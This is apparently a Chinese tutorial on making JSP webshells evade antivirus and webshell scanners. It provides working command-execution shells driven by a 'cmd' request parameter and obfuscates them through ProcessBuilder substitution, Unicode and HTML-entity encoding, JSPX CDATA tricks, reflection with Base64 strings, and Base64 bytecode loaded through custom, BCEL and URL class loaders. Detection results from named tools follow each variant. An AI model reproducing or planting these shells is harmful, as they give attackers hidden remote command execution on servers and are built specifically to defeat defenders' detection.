1 认识Webshell
创建一个JSP文件:
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page language="java" pageEncoding="utf-8" %>
<%
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
Tomcat运行
这就是一个典型的webshell,但这个webshell的各种特征已经被安全检测平台记录,很容易识别出来。
【virustotal】
【D盾】
【shellpub】
接下来进行免杀,免杀就是将这些被识别的特征进行替换,绕过,混淆和干扰。
2 基础免杀
2.1 替换敏感函数
Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数,因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd),从而绕过正则表达式检测。
(1)新的JSP文件
(2)运行测试
(3)安全检测
【virustotal-未识别】
【D盾-未识别】
【shellpub-识别】
2.2 BeansExpression免杀
(1)JSP
(2)运行测试
(3)检测结果
【shellpub-未识别】
【D盾-未识别】
【火绒-识别】
3 编码免杀
3.1 UNICODE编码
(1)JSP文件
编码网址:https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/
编码后内容会存在 \ua ,需要手动删除,负责无法正常运行
(2)检测结果
【shellpub-识别】
【D盾-识别】
【火绒-未识别】
3.2 CDTAT
(1)JSPX特性
jspx是JSP 2.0中的一项重要的功能提升,jspx其实就是以xml语法来书写jsp的文件。
JSPX需要将jsp中不符合XML规范的tag进行替换,如:
<%@ include .. %> <jsp:directive.include .. />
<%@ page .. %> <jsp:directive.page .. />
<%= ..%> <jsp:expression> .. </jsp:expression>
<% ..%> <jsp:scriptlet> .. </jsp:scriptlet>
(2)JSP文件
检测结果-均可检出
(3)CDTAT特性,<![CDATA[与]]>只要能配对就相互抵消,其他不变
(4)检测结果
【shellpub-识别】
【D盾-未识别】
【火绒-未识别】
(5)HTML
JSPX可以识别html编码
注意:注意:含有CDATA的内容是不能进行html实体编码的,反之html实体编码后的内容也不能插入CDATA,否则无法执行
编码网站:https://www.qqxiuzi.cn/bianma/zifushiti.php
4 反射免杀
4.1 基础反射
(1)JSP文件
(2)查杀结果
工具 | shellhub | D盾 | 火绒 |
结果 | 识别 | 识别 | 识别 |
4.2 优化
反射中的明显特征如java.lang.Runtime,getRuntime,exec这些敏感内容,都是字符串形式输入,由此我们能操作的空间就很大了。
(1)BASE64加密
检测结果
工具 | shellhub | D盾 | 火绒 |
结果 | 识别 | 识别 | 未识别 |
(2)getDeclaredMethod替换getMethod
检测结果
工具 | shellhub | D盾 |
结果 | 识别 | 识别 |
(3)经过测试某盾查杀的是当存在反射函数又存在Process类的getInputStream方法时会被查杀
检测结果
工具 | shellhub | D盾 |
结果 | 识别 | 未识别 |
5 字节码免杀
5.1 生成字节码
(1)JAVAC生成字节码
编写程序加载class
(2)javassist生成字节码
import javassist.*;
import java.io.IOException;
import java.util.Base64;
public class test2 {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass cc1 = classPool.makeClass("com.demo2.shell");
CtConstructor cons = new CtConstructor(new CtClass[]{},cc1);
cons.setBody("{}");
String runCode1="{}";
cons.insertBefore((runCode1));
cc1.addConstructor(cons);
CtMethod cm2 = new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass[]{classPool.get("java.lang.String")}, cc1);
cm2.setModifiers(Modifier.PUBLIC);
cm2.setBody("{ Process process = Runtime.getRuntime().exec($1);\n" +
" java.io.InputStream is = process.getInputStream();\n" +
" java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));\n" +
" String r = \"\";\n" +
" String s = \"\";\n" +
" while((r = bufferedReader.readLine())!=null){\n" +
" s += r;\n" +
" }\n" +
" return s;}");
cc1.addMethod(cm2);
System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));
}
}
(3)ASM生成字节码
package demo2;
import jdk.internal.org.objectweb.asm.ClassWriter;
import jdk.internal.org.objectweb.asm.MethodVisitor;
import java.util.Base64;
import static jdk.internal.org.objectweb.asm.Opcodes.*;
public class test3 {
public static void main(String[] args){
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);
MethodVisitor mw = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
mw.visitVarInsn(ALOAD, 0);
mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V",false);
mw.visitInsn(RETURN);
mw.visitMaxs(1, 1);
mw.visitEnd();
MethodVisitor mw2 = cw.visitMethod(ACC_PUBLIC, "runs",
"(Ljava/lang/String;)Ljava/lang/Process;", null, null);
mw2.visitCode();
mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",
"()Ljava/lang/Runtime;",false);
mw2.visitVarInsn(ALOAD,1);
mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
mw2.visitInsn(ARETURN);
mw2.visitMaxs(10, 3);
mw2.visitEnd();
byte[] code = cw.toByteArray();
System.out.println(new String(Base64.getEncoder().encode(code)));
}
5.2 Classloader加载字节码
加载的类名要与class对应上。
(1)JSP文件
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%
ClassLoader loader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("demo2.shell")){
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAQwoAEAAgCgAhACIKACEAIwoAJAAlBwAmBwAnCgAGACgKAAUAKQgAKgoABQArBwAsCgALACAKAAsALQoACwAuBwAvBwAwAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABHJ1bnMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADEHADIHADMHACYBAApFeGNlcHRpb25zBwA0AQAKU291cmNlRmlsZQEACnNoZWxsLmphdmEMABEAEgcANQwANgA3DAA4ADkHADIMADoAOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAARADwMABEAPQEAAAwAPgA/AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAEAAQQwAQgA/AQALZGVtbzIvc2hlbGwBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcAIQAPABAAAAAAAAIAAQARABIAAQATAAAAHQABAAEAAAAFKrcAAbEAAAABABQAAAAGAAEAAAAIAAkAFQAWAAIAEwAAAKEABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAIAFAAAACIACAAAAAsACAAMAA0ADQAdAA4AIQAPACUAEAAvABEASAATABcAAAAcAAL/ACUABgcAGAcAGQcAGgcAGwcAGAcAGAAAIgAcAAAABAABAB0AAQAeAAAAAgAf");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
String cmd = request.getParameter("cmd");
Class<?> shell = loader.loadClass("demo2.shell");
Object object = shell.newInstance();
Method method = shell.getMethod("runs",String.class);
Object o = method.invoke(object, cmd);
InputStream is = new ByteArrayInputStream(o.toString().getBytes());
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = "";
String s = "";
while((r = bufferedReader.readLine())!=null){
s += r;
}
response.getWriter().println(s);
%>
(2)运行
(3)检测结果
工具 | shellhub | D盾 | 火绒 |
结果 | 识别 | 未识别 | 未识别 |
5.3 BCEL字节码免杀
Apache Commons BCEL被包含在了JDK的原生库中,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码,但是com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器由于安全问题,在JDK7以上版本被移除,导致BCEL字节码的利用变得很局限。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %>
<%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %>
<%
byte[] bytes = Base64.decode("yv66vgAAADQAQwoAEAAgCgAhACIKACEAIwoAJAAlBwAmBwAnCgAGACgKAAUAKQgAKgoABQArBwAsCgALACAKAAsALQoACwAuBwAvBwAwAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABHJ1bnMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADEHADIHADMHACYBAApFeGNlcHRpb25zBwA0AQAKU291cmNlRmlsZQEACnNoZWxsLmphdmEMABEAEgcANQwANgA3DAA4ADkHADIMADoAOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAARADwMABEAPQEAAAwAPgA/AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAEAAQQwAQgA/AQALZGVtbzIvc2hlbGwBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcAIQAPABAAAAAAAAIAAQARABIAAQATAAAAHQABAAEAAAAFKrcAAbEAAAABABQAAAAGAAEAAAAIAAkAFQAWAAIAEwAAAKEABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAIAFAAAACIACAAAAAsACAAMAA0ADQAdAA4AIQAPACUAEAAvABEASAATABcAAAAcAAL/ACUABgcAGAcAGQcAGgcAGwcAGAcAGAAAIgAcAAAABAABAB0AAQAeAAAAAgAf");
String code = Utility.encode(bytes, true);
String bcelCode = "$$BCEL$$" + code;
com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
Class<?> shell = bcelClassLoader.loadClass(bcelCode);
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
String cmd = request.getParameter("cmd");
response.getWriter().println(dm.invoke(object, cmd));
%>
检测结果
工具 | shellhub | D盾 | 火绒 |
结果 | 识别 | 未识别 | 未识别 |
5.4 URLClassLoader加载
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%
String cmd = request.getParameter("cmd");
URL url = new URL("http://127.0.0.1:8000/");
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
System.out.println("父类加载器:" + classLoader.getParent()); // 默认父类加载器是系统类加载器
Class shell = classLoader.loadClass("demo2.shell");
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
Object invoke = dm.invoke(object, cmd);
response.getWriter().println(invoke);
%>
服务端:
第一步:在一个文件夹中使用python开启一个http服务python -m http.server
第二步:将编译好的class文件,根据全限定类名创建相应的文件夹,并导入class文件
检测结果
工具 | shellhub | D盾 | 火绒 |
结果 | 未识别 | 未识别 | 未识别 |